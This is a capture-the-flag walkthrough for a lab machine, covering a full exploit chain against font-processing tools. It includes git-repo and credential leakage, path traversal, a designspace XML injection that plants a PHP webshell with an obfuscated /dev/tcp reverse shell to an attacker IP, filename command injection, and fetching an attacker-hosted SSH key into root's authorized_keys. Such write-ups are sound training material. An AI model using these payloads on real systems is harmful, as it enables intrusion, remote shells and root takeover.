VariaType writeup & walkthrough

CVE-2025-66034: malicious designspace XML injects a PHP webshell via font generator; zip slip writes SSH key; sudo install_validator.py fetches attacker key for root.

Recon

The main site renders fonts with the fontTools engine, and the portal vhost leaks an exposed .git directory. Map both hostnames first.

# /etc/hosts
variatype.htb
portal.variatype.htb

The landing page advertises the fontTools engine, so note it for a CVE search later (it leads to CVE-2025-66034). Then fuzz the portal vhost:

# ffuf on portal.variatype.htb finds an exposed .git
ffuf -u http://portal.variatype.htb/FUZZ -w wordlist.txt
# => /.git  =>  dump it
git-dumper http://portal.variatype.htb/.git ./portal-git

Foothold: leaked Git credentials

Dump the repo, then diff the two commits that touch the auth config. The older commit still has the plaintext bot password.

git diff 5030e79 753b5f5
# => credentials: gitbot : G1tB0t_Acc3ss_2025!

Sign in to the portal with gitbot:G1tB0t_Acc3ss_2025!. The download endpoint download.php?f= is vulnerable to path traversal using the ....// filter bypass (nginx strips ../, so the doubled form collapses back to ../).

# read arbitrary files via download.php?f=
....//....//....//....//etc/passwd
# nginx site config => confirms web root and that the worker runs as root
....//....//....//....//etc/nginx/sites-enabled/portal.variatype.htb
# fontTools version => 4.50.0 => CVE-2025-66034
....//....//....//....//....//usr/local/lib/python3.11/dist-packages/fontTools/__init__.py

User: CVE-2025-66034 (malicious designspace => PHP webshell)

The variable font generator at /tools/variable-font-generator/process parses .designspace files without sanitising axis label names. Smuggle a PHP webshell through the labelname CDATA field and write it to a web-accessible path. The ]]]]><![CDATA[> sequence is the trick that lets a literal ]]> survive inside CDATA.

First, create the ttf files like in here through the python code: https://github.com/advisories/GHSA-768j-98cg-p3fv

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
	<axes>
        <!-- XML injection occurs in labelname elements with CDATA sections -->
	    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
	        <labelname xml:lang="en"><![CDATA[<?php echo shell_exec("echo YmFzaCAtaSAmPiAvZGV2L3RjcC8xMC4xMC4xNC4xMDEvNDQ0NCAwJj4xICAK | base64 -d | bash");?>]]]]><![CDATA[>]]></labelname>
	        <labelname xml:lang="fr">MEOW2</labelname>
	    </axis>
	</axes>
	<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
	<sources>
		<source filename="source-light.ttf" name="Light">
			<location>
				<dimension name="Weight" xvalue="100"/>
			</location>
		</source>
		<source filename="source-regular.ttf" name="Regular">
			<location>
				<dimension name="Weight" xvalue="400"/>
			</location>
		</source>
	</sources>
	<variable-fonts>
		<variable-font name="MyFont" filename="/var/www/portal.variatype.htb/public/revshell.php">
			<axis-subsets>
				<axis-subset name="Weight"/>
			</axis-subsets>
		</variable-font>
	</variable-fonts>
	<instances>
		<instance name="Display Thin" familyname="MyFont" stylename="Thin">
			<location><dimension name="Weight" xvalue="100"/></location>
			<labelname xml:lang="en">Display Thin</labelname>
		</instance>
	</instances>
</designspace>

Trigger the generator, then hit http://portal.variatype.htb/revshell.php for code execution as www-data.

Lateral: www-data => steve (CVE-2024-25082, FontForge)

A job owned by steve runs every 2 minutes and feeds submissions to FontForge. The build is old enough to be vulnerable to archive command injection via a crafted filename.

# inspect the job and the FontForge version
cat /opt/process_client_submissions.bak
/usr/local/src/fontforge/build/bin/fontforge --version
# => 20230101 => CVE-2024-25082

Drop a payload whose filename is a command substitution, then tar it so FontForge executes it when the job processes the archive.

cd /var/www/portal.variatype.htb/public/files/
# the filename itself is the injected command
touch -- '$(echo <base64>|base64 -d|bash)'
tar -cf revshell.tar [thefile above]

Catch the shell as steve. For stable access, plant an SSH key:

cat variatype.pub

# on target, as steve
echo '<variatype.pub contents>' > /home/steve/.ssh/authorized_keys
chmod 600 /home/steve/.ssh/authorized_keys

Root: steve => root (CVE-2025-47273, setuptools)

sudo -l
# => steve may run install_validator.py as root (uses setuptools => CVE-2025-47273)

install_validator.py fetches a URL with setuptools' vulnerable package-index logic, which lets a path traversal in the URL control the write destination. Point it at a key file you host, traversing to root's authorized_keys.

# attacker box: generate a key and serve the pubkey AS authorized_keys
mkdir -p /tmp/web && cd /tmp/web
ssh-keygen -t ed25519 -f rootkey
cp rootkey.pub authorized_keys
python3 -m http.server 8080

# on target: traversal in the URL writes our key to /root/.ssh/authorized_keys
sudo /usr/bin/python3 /opt/font-tools/install_validator.py "http://ATTACKER:8080/%2Froot%2F.ssh%2Fauthorized_keys"

# attacker box: log in as root
ssh -i rootkey [email protected]